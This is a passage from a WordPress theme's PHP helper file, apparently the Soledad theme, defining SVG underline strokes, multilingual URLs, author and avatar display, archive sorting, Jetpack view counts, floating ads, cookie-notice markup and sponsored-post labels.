2.26-13.95.53-27.93.52l-28.26-.04-29.6-.06-31.35-.06-32.41-.1q-16.36-.08-33.21-.19-16.86-.11-34.03-.32-17.17-.2-32.6-.6-15.43-.39-31.62-1.1-16.2-.7-33.9-1.57l-27-1.31q-9.3-.45-18.84-1.04-9.53-.6-19.14-1-9.6-.41-19.32-.78-9.71-.36-19.9-.84-10.19-.48-20.86-1.13-10.67-.65-20.35-1.54-9.7-.9-19.4-2.1-9.72-1.2-19.25-2.63-9.52-1.42-19.26-2.95-9.74-1.53-19.77-3.2-10.02-1.67-20.42-3.53-10.4-1.86-20.75-3.8-10.36-1.92-20.06-3.96-9.69-2.04-18.63-4.22-8.95-2.17-25.79-7.1-16.83-4.91-32.84-10.06-16.01-5.15-30.83-10.4-14.81-5.25-27.94-10.87-13.13-5.61-26.13-11.73-13-6.12-25.2-13.1-12.2-6.99-24.34-14.6-12.14-7.6-24.01-15.95-11.88-8.34-21.78-16.67-9.9-8.32-19.61-17.74-9.7-9.42-18.58-20.14-8.87-10.72-15.98-22.02-7.1-11.31-13.05-23.93-5.95-12.63-10.72-27.1-4.77-14.49-6.36-27.32-1.58-12.82-1.27-25.62.32-12.8 2.37-25.38 2.05-12.6 5.8-24.77 3.76-12.18 9.23-24.47 5.47-12.28 12.71-23.6 7.25-11.33 15.14-21.24 7.9-9.9 16.73-19.7 8.82-9.8 18.3-18.72 9.48-8.92 19.27-16.7 9.8-7.8 20.9-15.94 11.12-8.15 23.17-16.13 12.06-7.99 24.35-14.87 12.3-6.89 24.46-12.46 12.18-5.57 24.23-9.72t25.1-7.1q13.04-2.94 29.26-5.25 16.22-2.3 34.37-3.94 18.16-1.63 27.34-2.28 9.18-.65 18.38-.94 9.2-.29 18.59-.29l18.91.01h38.46l19.5.01q9.7 0 19.1.02l18.77.03q9.38.02 27.08.1 17.7.08 33.12.27 15.42.2 30.32.57 14.9.37 26.54 1.1 11.65.72 22.16 1.6 10.5.87 21.6 2.47 11.09 1.6 16.46 2.62 5.37 1.02 6.08 1.25.72.22 1.37.62.64.4 1.17.93.53.53.91 1.18.4.65.61 1.37.22.72.26 1.47.04.76-.1 1.5t-.45 1.42q-.31.69-.78 1.28-.47.59-1.07 1.05-.6.46-1.28.77-.7.3-1.43.43-.75.14-1.5.09l-.75-.05Z" transform="translate(0.75 -3.61)"/></svg>',
			'underline-1'      => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 800 400" preserveAspectRatio="none">' . $gradient_svg . '<path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M25.112102508544922,196.4125518798828C33.61434400558472,196.2944645436605,72.56351873397827,193.39012603759767,89.68608856201172,195.51568603515625C106.80865839004517,197.64124603271483,139.21523365020752,213.3826528676351,155.1569366455078,212.55604553222656C171.0986396408081,211.72943819681802,191.15992251078288,189.59191563924153,210.76231384277344,189.23765563964844C230.364705174764,188.88339564005534,284.5515521494548,211.63676325480142,304.0358581542969,209.86546325683594C323.520164159139,208.09416325887045,330.4035807800293,175.31239893595378,358.744384765625,175.7847442626953C387.0851887512207,176.25708958943684,485.1554173787435,213.21672345479328,519.282470703125,213.45289611816406C553.4095240275064,213.68906878153484,592.1942961629231,176.16141868591308,617.9371948242188,177.57846069335938C643.6800934855144,178.99550270080567,694.6053327433268,222.56202580769857,714.7981567382812,224.21524047851562C734.9909807332357,225.86845514933268,763.8609510294597,194.62181615193686,771.3004150390625,190.134521484375"></path></svg>',
			'underline-2'      => '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 687 155" preserveAspectRatio="none">' . $gradient_svg . '<g class="style-' . $colorstyle . '" ' . $gradient_stroke . '><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M20 58c27-13.33333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.66666667 80.5 20" opacity=".1"></path><path class="style-' . $colorstyle . '" ' . $gradient_stroke . ' d="M20 78c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20" opacity=".2"></path><path d="M20 98c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20" opacity=".6"></path><path d="M20 118c27-13.3333333 54-20 81-20 40.5 0 40.5 20 81 20s40.626917-20 81-20 40.123083 20 80.5 20 40.5-20 81-20 40.5 20 81 20 40.626917-20 81-20c26.915389 0 53.748722 6.6666667 80.5 20"></path></g></svg>',
		);

		return $strokes[ $stroke ];
	}
}
if ( ! function_exists( 'penci_home_url_multilang' ) ) {
	function penci_home_url_multilang( $path = '', $scheme = null ) {
		if ( function_exists( 'pll_current_language' ) ) {
			if ( isset( $path[0] ) && $path[0] !== '/' ) {
				$path = '/' . $path;
			}

			$polylang_setting = get_option( 'polylang', array() );
			$default_lang     = $polylang_setting['default_lang'];
			$current_lang     = pll_current_language();

			if ( isset( $polylang_setting['hide_default'] ) && $polylang_setting['hide_default'] ) {
				if ( $default_lang === $current_lang ) {
					return home_url( $path, $scheme );
				}
			}

			return home_url( $current_lang . $path, $scheme );
		}

		return home_url( $path, $scheme );
	}
}

if ( ! function_exists( 'penci_get_theme_name' ) ) {
	function penci_get_theme_name( $name = 'Penci', $dot = false ) {

		$theme_name = get_theme_mod( 'admin_wel_page_sname' );

		if ( $theme_name && get_theme_mod( 'activate_white_label' ) ) {
			$name = $dot ? '.' . $theme_name : $theme_name;
		}

		return $name . ' ';
	}
}

if ( ! function_exists( 'penci_get_theme_author' ) ) {
	function penci_get_theme_author( $name = 'PenciDesign' ) {

		$theme_author = get_theme_mod( 'admin_wel_page_author' );

		if ( $theme_author && get_theme_mod( 'activate_white_label' ) ) {
			$name = $theme_author;
		}

		return $name;
	}
}

add_filter(
	'the_title',
	function ( $post_title, $post_id ) {
		if ( is_single() && isset( get_queried_object()->ID ) && get_queried_object()->ID == $post_id ) {
			$custom_post_title = get_post_meta( $post_id, 'penci_cpost_title', true );
			$post_title        = ! empty( $custom_post_title ) ? $custom_post_title : $post_title;
		}

		return $post_title;
	},
	10,
	2
);

add_filter(
	'penci_cat_bgcolor',
	function ( $default, $id, $featured ) {
		$out    = '';
		$colors = get_option( "category_$id" );
		if ( get_theme_mod( 'penci_catdesign' ) || $featured ) {
			if ( isset( $colors['penci_archive_bgcolor'] ) && $colors['penci_archive_bgcolor'] ) {
				$out .= 'background-color:' . $colors['penci_archive_bgcolor'] . ';';
			}
		}

		return $out;
	},
	10,
	3
);

add_filter(
	'penci_cat_color',
	function ( $default, $id, $featured ) {
		$out = '';

		$colors = get_option( "category_$id" );

		if ( get_theme_mod( 'penci_catdesign' ) || $featured ) {

			if ( isset( $colors['penci_archive_color'] ) && $colors['penci_archive_color'] ) {
				$out .= 'color:' . $colors['penci_archive_color'] . ';';
			}
		} elseif ( isset( $colors['penci_archivepage_color'] ) && $colors['penci_archivepage_color'] ) {
			$out .= 'color:' . $colors['penci_archivepage_color'] . ';';
		}

		return $out;
	},
	10,
	3
);

add_action(
	'wp_footer',
	function () {
		if ( ! get_theme_mod( 'penci_floatads_enable' ) || penci_is_mobile() ) {
			return false;
		}

		wp_enqueue_script( 'penci-float-banner' );

		$ad_left  = get_theme_mod( 'penci_floatads_banner_left' );
		$ad_right = get_theme_mod( 'penci_floatads_banner_right' );
		$ad_w     = get_theme_mod( 'penci_floatads_width', 200 );
		$ad_h     = get_theme_mod( 'penci_floatads_height' );

		$margin_top  = get_theme_mod( 'penci_floatads_mtop' );
		$margin_stop = get_theme_mod( 'penci_floatads_scroll_mtop' );

		$style = 'width: ' . $ad_w . 'px; height: ' . $ad_h . 'px; display:none; z-index:9999; position:absolute; text-align:center; top:0px; overflow:hidden;';

		if ( get_theme_mod( 'penci_floatads_always_center' ) ) {
			$style .= 'top: 50%;transform: translateY(-50%);';
		}

		$out = '<div data-w="' . $ad_w . '" data-mt="' . $margin_top . '" data-mts="' . $margin_stop . '" id="side-ads-container" class="container"></div>';
		$out .= '<div style="' . $style . '" class="side-ads" id="side-ads-left">' . do_shortcode( $ad_left ) . '</div>';
		$out .= '<div style="' . $style . '" class="side-ads" id="side-ads-right">' . do_shortcode( $ad_right ) . '</div>';

		echo $out;
	}
);

add_filter(
	'theme_mod_penci_logo',
	function ( $value ) {
		$default = $value;
		if ( penci_is_mobile() ) {
			$value = get_theme_mod( 'penci_mobile_logo' ) ? get_theme_mod( 'penci_mobile_logo' ) : $default;
		}

		return $value;
	}
);

if ( ! function_exists( 'penci_archive_query_vars_filter' ) ) {
	function penci_archive_query_vars_filter( $vars ) {
		$vars[] = 'pc_archive_sort';
		$vars[] = 'pc_archive_month';

		return $vars;
	}

	add_filter( 'query_vars', 'penci_archive_query_vars_filter' );
}

if ( ! function_exists( 'penci_archive_query_filter' ) ) {
	function penci_archive_query_filter( $query ) {

		$sort = get_query_var( 'pc_archive_sort' );
		$date = get_query_var( 'pc_archive_month' );

		if ( $query->is_main_query() && ! is_admin() ) {
			if ( $sort ){
				if ( in_array( $sort, [ 'asc', 'desc' ] ) ) {
					$query->set( 'order', $sort );
				}

				if ( 'view' == $sort ) {
					$query->set( 'order', 'DESC' );
					$query->set( 'orderby', 'meta_value_num' );
					$query->set( 'meta_key', penci_get_postviews_key() );
				}

				if ( 'comment' == $sort ) {
					$query->set( 'order', 'DESC' );
					$query->set( 'orderby', 'comment_count' );
				}
			}
			if ( $date ) {
				$month = explode( '-', $date );
				if ( isset( $month[0] ) && isset( $month[1] ) ) {
					$query->set( 'year', $month[1] );
					$query->set( 'monthnum', $month[0] );
				}
			}
		}
	}

	add_action( 'pre_get_posts', 'penci_archive_query_filter', 99 );
}

add_action(
	'penci_action_before_the_content',
	function () {
		$post_id = get_the_ID();
		echo '<i class="penci-post-countview-number-check" style="display:none">' . penci_get_post_views( $post_id ) . '</i>';
	}
);

if ( ! function_exists( 'penci_get_jetpack_post_view' ) ) {
	function penci_get_jetpack_post_view( $post_id ) {

		if ( class_exists( 'Automattic\Jetpack\Stats\WPCOM_Stats' ) ) {

			$post_id = $post_id ? $post_id : get_the_ID();

			$cached_view = get_post_meta( $post_id, '_jetpack_post_view', true );

			if ( ! $cached_view ) {

				$jp_view_data  = ( new Automattic\Jetpack\Stats\WPCOM_Stats() )->get_post_views( (int) $post_id );
				$encoded_array = wp_json_encode( $jp_view_data );
				if ( ! $encoded_array ) {
					return new WP_Error( 'stats_encoding_error', 'Failed to encode stats array' );
				}

				$encoded_array = json_decode( $encoded_array );

				return isset( $encoded_array->views ) && $encoded_array->views ? $encoded_array->views : 0;
			} else {
				return $cached_view;
			}
		}

		return false;
	}
}

if ( ! function_exists( 'penci_set_jetpack_post_view' ) ) {
	function penci_set_jetpack_post_view() {
		if ( is_singular() ) {
			$view = penci_get_jetpack_post_view( get_the_ID() );
			if ( $view ) {
				update_post_meta( get_the_ID(), '_jetpack_post_view', $view );
			}
		}
	}

	add_action( 'init', 'penci_set_jetpack_post_view', 99 );
}
if ( ! function_exists( 'penci_jetpack_option' ) ) {
	function penci_jetpack_option() {
		$return = array();
		if ( class_exists( 'Automattic\Jetpack\Stats\WPCOM_Stats' ) ) {
			$return = array( 'jetpack' => __( 'Jetpack Post Views', 'soledad' ) );
		}

		return $return;
	}
}

add_filter(
	'theme_mod_penci_home_layout',
	function ( $value ) {

		global $wp_query;

		$custom_layout = get_theme_mod( 'penci_blogpage_layout' );

		if ( isset( $wp_query ) && (bool) $wp_query->is_posts_page && $custom_layout ) {
			$value = $custom_layout;
		}

		return $value;
	}
);

add_filter(
	'template_include',
	function ( $template ) {
		global $wp_query;
		$overwrite   = get_theme_mod( 'penci_overwrite_post_page' );
		$page_option = get_option( 'show_on_front' ) == 'page';
		$blog_page   = isset( $wp_query ) && (bool) $wp_query->is_posts_page && $overwrite && $page_option;

		$page_id = get_option( 'page_for_posts' );

		if ( $blog_page && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $page_id )->is_built_with_elementor() ) {
			$template = locate_template( array( 'page-blog.php' ) );
		} elseif ( $blog_page ) {
			$template = locate_template( array( 'index.php' ) );
		}

		return $template;
	},
	10
);

add_filter(
	'views_plugins',
	function ( $views ) {
		$views['soledad_plugins'] = '<a href="' . esc_url( admin_url( 'themes.php?page=tgmpa-install-plugins' ) ) . '"><strong>' . __( 'Soledad Recommend Plugins', 'soledad' ) . '</strong></a>';

		return $views;
	}
);

if ( ! function_exists( 'penci_get_user_id_by_display_name' ) ) {
	function penci_get_user_id_by_display_name( $display_name ) {
		global $wpdb;

		if ( ! $user = $wpdb->get_row( $wpdb->prepare( "SELECT `ID` FROM $wpdb->users WHERE `display_name` = %s", $display_name ) ) ) {
			return false;
		}

		return $user->ID;
	}
}

add_filter(
	'the_author',
	function ( $name ) {

		$author_show = get_theme_mod( 'penci_meta_author_display', 'author-name' );
		if ( 'author-avatar' == $author_show || 'author-name-avatar' == $author_show ) {

			$author_w = get_theme_mod( 'penci_meta_author_aw', 22 );
			$user_id  = penci_get_user_id_by_display_name( $name );

			if ( ! $user_id ) {
				return $name;
			}
			$user_avatar = get_avatar( $user_id, $author_w );

			if ( 'author-avatar' == $author_show ) {
				$name = $user_avatar;
			} elseif ( 'author-name-avatar' == $author_show ) {
				$name = $user_avatar . '<strong class="author-a-name">' . $name . '</strong>';
			}
		}

		return $name;
	},
	10,
	1
);

if ( ! function_exists( 'penci_author_update_name' ) ) {
	function penci_author_update_name( $showing = false, $show_avatar = false, $avawidth = 22 ) {

		$enable                = ! get_theme_mod( 'penci_single_meta_author' );
		$penci_extra_author    = get_post_meta( get_the_ID(), 'penci_extra_author', true );
		$penci_extra_author_id = get_post_meta( get_the_ID(), 'penci_extra_author_id', true );

		$enable = $penci_extra_author_id ? $penci_extra_author_id : $enable;

		$avatar_html = '';
		$come        = 'customizer';

		if ( $showing ) {
			$come = 'builder';
		}

		$showing = $penci_extra_author && $penci_extra_author_id;

		$showing = $showing ? $showing : get_theme_mod( 'penci_single_meta_update_author' );

		if ( ! $showing ) {
			return false;
		}

		$last_id = get_post_meta( get_the_ID(), '_edit_last', true );
		$text    = penci_get_setting( 'penci_trans_updated_by' );

		if ( $penci_extra_author ) {
			$text = penci_get_setting( 'penci_trans_' . $penci_extra_author );
		}

		if ( $penci_extra_author_id ) {
			$last_id = $penci_extra_author_id;
		}

		if ( $last_id && $last_id != get_the_author_meta( 'ID' ) && $enable ) {

			if ( ! $show_avatar && 'builder' == $come ) {
				$avatar_html = get_avatar( $last_id, $avawidth );
			}

			?>
            <span class="author-post byline">
				<span class="author vcard"><?php echo $text; ?><a
                            class="author-url url fn n"
                            href="<?php echo get_author_posts_url( $last_id ); ?>"> <?php echo $avatar_html . apply_filters( 'the_author', get_the_author_meta( 'display_name', $last_id ) ); ?></a>
				</span>
			</span>
			<?php
		}
	}
}

add_action(
	'wp_ajax_penci_get_users',
	function () {
		check_ajax_referer( 'penci-adm-users', 'nonce' );
		$search_key = isset( $_REQUEST['search'] ) && $_REQUEST['search'] ? esc_attr( $_REQUEST['search'] ) : '';
		if ( $search_key ) {
			$blogusers = get_users(
				array(
					'search'         => $search_key,
					'search_columns' => array(
						'ID',
						'user_login',
						'user_email',
						'user_url',
						'user_nicename',
						'display_name',
					),
				)
			);
		} else {
			$blogusers = get_users();
		}
		$items = array();
		foreach ( $blogusers as $user ) {
			$items[] = array(
				'id'   => $user->ID,
				'text' => $user->display_name,
			);
		}
		wp_send_json_success( $items );
	}
);

if ( ! function_exists( 'penci_coauthors_posts_links' ) ) {
	function penci_coauthors_posts_links() {
		$out         = '';
		$author_show = get_theme_mod( 'penci_meta_author_display', 'author-name' );
		$author_w    = get_theme_mod( 'penci_meta_author_aw', 22 );
		if ( function_exists( 'coauthors__echo' ) ) {
			$author_list = coauthors__echo(
				'ID',
				'field',
				array(
					'between'     => ',',
					'betweenLast' => ',',
					'before'      => '',
					'after'       => '',
				),
				null,
				false
			);
			if ( $author_list ) {
				$author_ids = explode( ',', $author_list );
			}
			$current = 0;
			$total   = is_array( $author_ids ) ? count( $author_ids ) : 0;
			foreach ( $author_ids as $author_id ) {
				++ $current;

				$out .= $current == 2 && $total > 2 ? ', ' : ( ( $current == $total && $total > 1 ) ? ' & ' : '' );

				$user_avatar = get_avatar( $author_id, $author_w );
				$name        = get_the_author_meta( 'display_name', $author_id );
				$author_url  = get_author_posts_url( $author_id );

				if ( ! $name && function_exists( 'get_the_coauthor_meta' ) ) {

					$name = get_the_coauthor_meta( 'display_name', $author_id );
					$name = $name[ $author_id ];

					$author_url = get_the_coauthor_meta( 'url', $author_id );
					$author_url = isset( $author_url[ $author_id ] ) && $author_url[ $author_id ] ? $author_url[ $author_id ] : '';

					$author_email = get_the_coauthor_meta( 'email', $author_id );
					$user_avatar  = isset( $author_email[ $author_id ] ) && $author_email[ $author_id ] ? get_avatar( $author_email[ $author_id ], $author_w ) : '';

				}

				if ( 'author-avatar' == $author_show ) {
					$name_out = $user_avatar;
				} elseif ( 'author-name-avatar' == $author_show ) {
					$name_out = $user_avatar . '<strong class="author-a-name">' . $name . '</strong>';
				} else {
					$name_out = $name;
				}

				$out .= '<a title="' . $name . '" class="author-url url fn n" href="' . esc_url( $author_url ) . '">' . $name_out . '</a>';
			}
		}

		echo $out;
	}
}

add_action(
	'penci_single_meta_content',
	function () {
		if ( get_theme_mod( 'penci_single_font_changer' ) ) {
			?>
            <span class="penci-font-changer">
				<div class="penci-font-changer-popup">
					<span class="penci-font-changer-btn"><?php echo penci_get_setting( 'penci_trans_a1' ); ?><small><?php echo penci_get_setting( 'penci_trans_a2' ); ?></small></span>
					<div class="penci-fcpopup-ct-wrapper">
						<div class="penci-fchanger-pcontent">
							<span class="penci-font-changer-slider"></span>
							<strong class="penci-font-changer-reset"><?php echo penci_get_setting( 'penci_trans_reset' ); ?></strong>
						</div>
					</div>
				</div>
			</span>
			<?php

		}
	},
	99999
);

if ( ! function_exists( 'penci_sortArrayByArray' ) ) {
	function penci_sortArrayByArray( array $array, array $orderArray ) {
		$ordered = array();
		foreach ( $orderArray as $key ) {
			if ( array_key_exists( $key, $array ) ) {
				$ordered[ $key ] = $array[ $key ];
				unset( $array[ $key ] );
			}
		}

		return $ordered + $array;
	}
}
if ( ! function_exists( 'penci_get_custom_fonts' ) ) {
	function penci_get_custom_fonts() {

		$font_ids = get_posts(
			[
				'post_type'      => 'penci_cfonts',
				'posts_per_page' => - 1,
				'fields'         => 'ids',
				'no_found_rows'  => true, // Skip the 'found_posts' calculation
			]
		);

		$list_fonts = [];

		if ( ! empty( $font_ids ) ) {

			foreach ( $font_ids as $font_id ) {

				$font_title = get_the_title( $font_id );

				$list_fonts[ $font_title ] = $font_title;
			}
		}

		return $list_fonts;
	}
}

/**
 * Merge 2 array fonts to one array
 *
 * @return array fonts $penci_font_browser_arr
 * @since 1.0
 */
if ( ! function_exists( 'penci_all_fonts' ) ) {
	function penci_all_fonts( $df = null ) {
		$array_df = array();
		if ( 'select' == $df ) {
			$array_df = array( '' => '- Select -' );
		}

		return apply_filters( 'penci_font_list', array_merge(
			$array_df,
			penci_get_custom_fonts(),
			penci_font_browser(),
			penci_list_google_fonts_array()
		) );
	}
}

if ( ! function_exists( 'penci_get_option' ) ) {
	function penci_get_option( $key = null, $default = false ) {
		static $data;

		$data = get_option( 'penci_soledad_options' );

		if ( empty( $data ) ) {
			return '';
		}

		if ( $key === null ) {
			return $data;
		}

		if ( isset( $data[ $key ] ) ) {
			return $data[ $key ];
		}

		return get_option( $key, $default );
	}
}

/**
 * Include default fonts support by browser
 *
 * @return array list $penci_font_browser_arr
 * @since 2.0
 */
if ( ! function_exists( 'penci_font_browser' ) ) {
	function penci_font_browser() {
		$default_fonts    = array(
			'-apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol"' => 'System Font'
		);
		$additional_fonts = array(
			'-apple-system',
			'Arial, Helvetica, sans-serif',
			'Helvetica, sans-serif',
			'"Arial Black", Gadget, sans-serif',
			'"Comic Sans MS", cursive, sans-serif',
			'Impact, Charcoal, sans-serif',
			'"Lucida Sans Unicode", "Lucida Grande", sans-serif',
			'Tahoma, Geneva, sans-serif',
			'"Trebuchet MS", Helvetica, sans-serif',
			'Verdana, Geneva, sans-serif',
			'Georgia, serif',
			'"Palatino Linotype", "Book Antiqua", Palatino, serif',
			'"Times New Roman", Times, serif',
			'"Courier New", Courier, monospace',
			'"Lucida Console", Monaco, monospace',
		);

		return array_merge( $default_fonts, array_combine( $additional_fonts, $additional_fonts ) );
	}
}


add_action(
	'penci_action_before_the_content',
	function () {
		if ( ! get_theme_mod( 'penci_post_stickyshare' ) ) {
			return;
		}

		$class = '';

		$style = get_theme_mod( 'penci_post_stickyshare_style', 'style-1' );
		$side  = get_theme_mod( 'penci_post_stickyshare_pos', 'left' );

		$class .= ' share-' . $style . ' pos-' . $side;

		if ( 'style-3' == $style ) {
			$class .= ' penci-social-textcolored';
		} else {
			$class .= ' tags-share-box-s2';
		}

		echo '<div class="penci-social-fixed-share tags-share-box tags-share-box-n2 pcnew-share hide-txt post-share disable-btnplus ' . $class . '">';
		penci_soledad_social_share( '' );
		echo '</div>';
	}
);

add_action( 'wp_footer', function () {
	if ( is_customize_preview() && strpos( $_SERVER['HTTP_REFERER'], 'customize_amp=1' ) !== false ) {
		return false;
	}
	if ( get_theme_mod( 'penci_go_to_top_floating' ) ) :
		$style = get_theme_mod( 'penci_go_to_top_style', 'style-1' );
		?>
        <div class="penci-go-to-top-floating pgtt-<?php echo $style; ?>"><i class="penciicon-up-chevron"></i></div>
	<?php
	endif;
	if ( get_theme_mod( 'penci_mobile_nav_delayed' ) ) {
		?>
        <div data-id="section-nav-mobile-<?php the_ID(); ?>"
             data-url="<?php echo esc_url( add_query_arg( [ 'penci_get_delayed_sections' => 'mobile_nav' ], get_permalink() ) ); ?>"
             class="pcfb-mobile-nav-sections-delayed pc-content-delayed"></div>
		<?php
	} else {
		get_template_part( 'template-parts/header/vertical-nav' );
	}
	/* Menu Hamburger */
	if ( get_theme_mod( 'penci_menu_hbg_show' ) && ! get_theme_mod( 'penci_vertical_nav_show' ) ) {
		get_template_part( 'template-parts/menu-hamburger' );
	}
	if ( is_singular( 'post' ) && get_theme_mod( 'penci_related_post_popup' ) ) :
		get_template_part( 'inc/templates/related_posts-popup' );
	endif;
	$gprd_desc       = penci_get_setting( 'penci_gprd_desc' );
	$gprd_accept     = penci_get_setting( 'penci_gprd_btn_accept' );
	$gprd_rmore      = penci_get_setting( 'penci_gprd_rmore' );
	$gprd_rmore_link = penci_get_setting( 'penci_gprd_rmore_link' );
	$penci_gprd_text = penci_get_setting( 'penci_gprd_policy_text' );
	$penci_gprd_s    = get_theme_mod( 'penci_cookie_law_style', 'style-1' );
	if ( get_theme_mod( 'penci_enable_cookie_law' ) && $gprd_desc && $gprd_accept ) :
		?>
        <div class="penci-wrap-gprd-law penci-wrap-gprd-law-close penci-close-all <?php echo esc_attr( $penci_gprd_s ); ?>">
            <div class="penci-gprd-law">
                <p>
					<?php
					if ( $gprd_desc ) :
						echo '<span class="penci-gprd-law-content">' . $gprd_desc . '</span>';
					endif;
					?>
					<?php
					if ( $gprd_accept ) :
						echo '<a aria-label="GPRD Accept" class="penci-gprd-accept" href="#">' . $gprd_accept . '</a>';
					endif;
					?>
					<?php
					if ( $gprd_rmore ) :
						echo '<a class="penci-gprd-more" href="' . $gprd_rmore_link . '">' . $gprd_rmore . '</a>';
					endif;
					?>
                </p>
            </div>
			<?php if ( ! get_theme_mod( 'penci_show_cookie_law' ) ) : ?>
                <a class="penci-gdrd-show" aria-label="GDRD Show" href="#"><?php echo $penci_gprd_text; ?></a>
			<?php endif; ?>
        </div>

	<?php
	endif;
	if ( get_theme_mod( 'penci_tblogin' ) ) {
		penci_soledad_login_register_popup();
	}
	if ( get_theme_mod( 'penci_footer_analytics' ) ) :
		echo get_theme_mod( 'penci_footer_analytics' );
	endif;
} );

add_filter(
	'post_link',
	function ( $permalink, $post ) {
		$id = $post;
		if ( is_object( $post ) ) {
			$id = $post->ID;
		}

		$enable   = get_post_meta( $id, 'penci_sponsored_post', true );
		$url      = get_post_meta( $id, 'penci_sponsored_url', true );
		$redirect = get_post_meta( $id, 'penci_sponsored_redirect', true );
		if ( $enable && $url && $redirect && ! is_admin() ) {
			$permalink = $url . '" target="_blank';
		}

		return $permalink;
	},
	10,
	2
);

add_filter(
	'clean_url',
	function ( $good_protocol_url, $original_url, $_context ) {
		$id = get_the_ID();
		if ( $id ) {
			$enable   = get_post_meta( $id, 'penci_sponsored_post', true );
			$url      = get_post_meta( $id, 'penci_sponsored_url', true );
			$redirect = get_post_meta( $id, 'penci_sponsored_redirect', true );

			if ( $enable && $url && $redirect && ! is_admin() ) {
				$good_protocol_url = $original_url;
			}
		}

		return $good_protocol_url;
	},
	10,
	3
);

add_action(
	'penci_before_title',
	function () {
		$post_id = get_the_ID();
		$enable  = get_post_meta( $post_id, 'penci_sponsored_post', true );
		$mod     = get_theme_mod( 'penci_sponsored_prefix', true );
		if ( $enable && $mod && ! is_admin() ) {
			echo '<span class="penci-sponsored-label">' . penci_get_setting( 'penci_trans_sponsored' ) . '</span>';
		}
	}
);

add_filter(
	'the_title',
	function ( $post_title, $post_id ) {
		$enable = get_post_meta( $post_id, 'penci_sponsored_post', true );
		$mod    = get_theme_mod( 'penci_sponsored_prefix', true );
		if ( $enable && $mod && ! is_admin() ) {
			$post_title = '<span data-text="' . penci_get_setting( 'penci_trans_sponsored' ) . '" class="penci-sponsored-label"></span>' . $post_title;
		}

		return $post_title;
	},
	10,
	2
);

add_action(
	'penci_single_meta_content',
	function () {
		$id     = get_the_ID();
		$enable = get_post_meta( $id, 'penci_sponsored_post', true );
		$slogo  = get_post_meta( $id, 'penci_sponsored_logo', true );
		$surl   = get_post_meta( $id, 'penci_sponsored_url', true );

		$before = $after = '';
		if ( $surl ) {
			$before = '<a href="' . esc_url( $surl ) . '" target="_blank">';
			$after  = '</a>';
		}
		if ( $enable && ! empty( $slogo ) && isset( $slogo[0] ) ) {

			$img_size = wp_get_attachment_image_src( $slogo[0], 'penci-masonry-thumb' );
			$img_url  = isset( $img_size[0] ) ? $img_size[0] : '';
			$img_w    = isset( $img_size[1] ) ? $img_size[1] : '';
			$img_h    = isset( $img_size[2] ) ? $img_size[2] : '';

			$img_src = 'src="' . penci_holder_image_base( $img_w, $img_h ) . '" class="penci-lazy" data-src="' . $img_url . '"';

			if ( get_theme_mod( 'penci_disable_lazyload_layout' ) ) {
				$img_src = 'src="' . $img_url . '"';
			}

			echo '<span class="penci-sponsored-logo">' . penci_get_setting( 'penci_trans_sponsored_by' ) . $before . '<img width="' . $img_w . '" height="' . $img_h . '" ' . $img_src . ' alt="Sponsored Image">' . $after . '</span>';
		}
	}
);

if ( ! function_exists( 'penci_get_heading_style' ) ) {
	function penci_get_heading_style() {

		$css_class = '';

		$h1_style = get_theme_mod( 'penci_heading_h1_style' );
		$h2_style = get_theme_mod( 'penci_heading_h2_style' );
		$h3_style = get_theme_mod( 'penci_heading_h3_style' );
		$h4_style = get_theme_mod( 'penci_heading_h4_style' );
		$h5_style = get_theme_mod( 'penci_heading_h5_style' );

		if ( $h1_style ) {
			$css_class .= ' heading1-' . $h1_style;
		}

		if ( $h2_style ) {
			$css_class .= ' heading2-' . $h2_style;
		}

		if ( $h3_style ) {
			$css_class .= ' heading3-' . $h3_style;
		}

		if ( $h4_style ) {
			$css_class .= ' heading4-' . $h4_style;
		}

		if ( $h5_style ) {
			$css_class .= ' heading5-' . $h5_style;
		}

		return $css_class;
	}
}

if ( ! function_exists( 'penci_rtl_carousel_fix' ) ) {
	function penci_rtl_carousel_fix( $value ) {
		if ( is_rtl() ) {
			$value = '';
		}

		return $value;
	}

	add_filter( 'theme_mod_penci_carousel_slider_effect', 'penci_rtl_carousel_fix' );
	add_filter( 'theme_mod_penci_fslider_carousel_slider_effect', 'penci_rtl_carousel_fix' );
}


add_filter(
	'wp_trim_words',
	function ( $text, $num_words, $more, $original_text ) {
		$sponsored_text = penci_get_setting( 'penci_trans_sponsored' );
		$post_title     = wp_strip_all_tags( get_the_title() );
		$original_text  = wp_strip_all_tags( $original_text );
		if ( $post_title == $original_text && substr( $text, 0, strlen( $sponsored_text ) ) === $sponsored_text ) {
			$text = str_replace( $sponsored_text, '', $text );
			$text = '<span data-text="' . penci_get_setting( 'penci_trans_sponsored' ) . '" class="penci-sponsored-label pcfrpl"></span>' . $text;
		}

		return $text;
	},
	90,
	4
);


if ( ! function_exists( 'get_default_term_thumb_url' ) ) {
	function get_default_term_thumb_url( $term_id, $thumbnail = 'thumbnail', $show_default = true ) {

		$tag      = get_term( $term_id );
		$tax_data = get_taxonomy( $tag->taxonomy );

		if ( $tax_data->name == 'category' ) {
			$option_name = 'category_' . $term_id;
		} else {
			$option_name = 'penci_tax_' . $tax_data->name . '_' . $term_id;
		}

		$cat_image_data = get_option( $option_name );
		$default_url    = penci_get_default_thumbnail_url();
		$image_url      = isset( $cat_image_data['thumbnail_id'] ) && wp_get_attachment_image_url( $cat_image_data['thumbnail_id'], $thumbnail ) ? wp_get_attachment_image_url( $cat_image_data['thumbnail_id'], $thumbnail ) : '';

		if ( $show_default && ! $image_url ) {

			$term_data = get_term( $term_id );
			$tax_name  = $term_data->taxonomy;

			$term_query = new \WP_Query(
				array(
